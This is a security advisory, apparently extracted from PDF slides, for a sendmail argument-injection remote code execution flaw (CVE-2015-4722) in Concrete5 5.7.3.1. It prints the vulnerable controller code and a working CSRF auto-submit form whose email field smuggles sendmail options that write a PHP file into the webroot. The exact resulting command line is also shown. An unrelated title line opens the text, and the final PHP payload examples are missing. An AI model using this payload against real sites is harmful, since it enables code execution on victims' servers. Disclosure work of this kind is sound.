Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Concrete5 Sendmail RCE Advisory
1. Edition: 1.0
Last Edit: 24/06/2015
Cassification: Not restricted
Sendmail Remote Code
Execution Vulnerability in
Concrete5 version 5.7.3.1
Author: Egidio Romano
2. RCE via Sendmail in Concrete5 version 5.7.3.1
Edition: v1.0 Date: 24/06/2015
Not restricted Page 1/3
Summary
Vulnerability Class Remote Code Execution (RCE)
CVE ID CVE-2015-4722
Remote Yes
Local No
Published June 6, 2015
Updated June 24, 2015
Credit Egidio Romano
Vulnerable Version 5.7.3.1 and probably prior versions
Fixed On 5.7.4
Other References https://hackerone.com/reports/59663
http://blog.mindedsecurity.com/2015/06/multiple-
security-issues-discovered-in-concrete5-part1.html
Description
Concrete5 is vulnerable to a Remote Code Execution because it fails to properly validate
certain user input used as sender email address when sending out a registration
notification email. This vulnerability is mitigated by the fact that it can be exploited only
by authenticated administrator users (even though it could be exploited via a Cross Site
Request Forgery attack as well) and only if the email is being sent with sendmail.
Vulnerability Details
The vulnerable code is located within the Open::update_registration_type() method:
File: /concrete/controllers/single_page/dashboard/system/registration/open.php (lines 13-53):
if ($this->isPost()) {
Config::save('concrete.user.registration.email_registration', ($this-
>post('email_as_username') ? true : false));
Config::save('concrete.user.registration.type', $this-
>post('registration_type'));
3. RCE via Sendmail in Concrete5 version 5.7.3.1
Edition: v1.0 Date: 24/06/2015
Not restricted Page 2/3
Config::save('concrete.user.registration.captcha', ($this-
>post('enable_registration_captcha')) ? true : false);
switch ($this->post('registration_type')) {
case "enabled":
Config::save('concrete.user.registration.enabled', true);
Config::save('concrete.user.registration.validate_email', false);
Config::save('concrete.user.registration.approval', false);
Config::save('concrete.user.registration.notification', $this-
>post('register_notification'));
Config::save(
'concrete.user.registration.notification_email',
Loader::helper('security')->sanitizeString(
$this->post('register_notification_email')));
…
User input passed through the “register_notification_email” POST parameter is not
properly sanitized before being stored into a configuration setting (the sanitizeString()
method doesn’t check if it is a valid email address). This value is used as a sender email
address to send out a notification email when a new user is being registered, and this is
done using the PHP mail() function, specifically passing such value to its fifth parameter.
So, when sendmail is used to send out such an email, it is possible to alter the command
line and tell the sendmail program to log all the email traffic in an arbitrary file chosen by
the attacker, resulting in an arbitrary PHP code execution.
Exploitation Details
An attacker can leverage a CSRF vulnerability related to the Public Registration Settings to
force an authenticated administrator user into browsing to a web page like this:
<html>
<body>
<form method="POST"
action="http://[host]/index.php/dashboard/system/registration/open/update_registration_typ
e">
<input type="hidden" name="registration_type" value="enabled">
<input type="hidden" name="register_notification" value="1">
<input type="hidden" name="register_notification_email" value="a@b.com -
OQueueDirectory=/tmp -X /var/www/concrete5/updates/test.php">
<input type="hidden" name="ccm-submit-registration-type-form" value="Save">
</form><script>document.forms[0].submit()</script>
</body>
</html>
4. RCE via Sendmail in Concrete5 version 5.7.3.1
Edition: v1.0 Date: 24/06/2015
Not restricted Page 3/3
When the victim user will browse to this page, the Public Registration Settings will be
modified in a way that when a new user will be registered the following command line
will be executed to send out a notification email (in case sendmail is used):
/usr/sbin/sendmail -t –i –f a@b.com -OQueueDirectory=/tmp -X /var/www/concrete5/updates/test.php
This will log all the email traffic into a test.php file located within the /updates/ directory
of the Concrete5 webroot (which should be writable by the user running the web server).
So the next step for the attacker is to register a new account and put some malicious PHP
code after the email address, something like this:
When the new account will be created a notification email will be sent, thus the attacker
can browse to http://[host]/updates/test.php in order to execute the injected PHP code: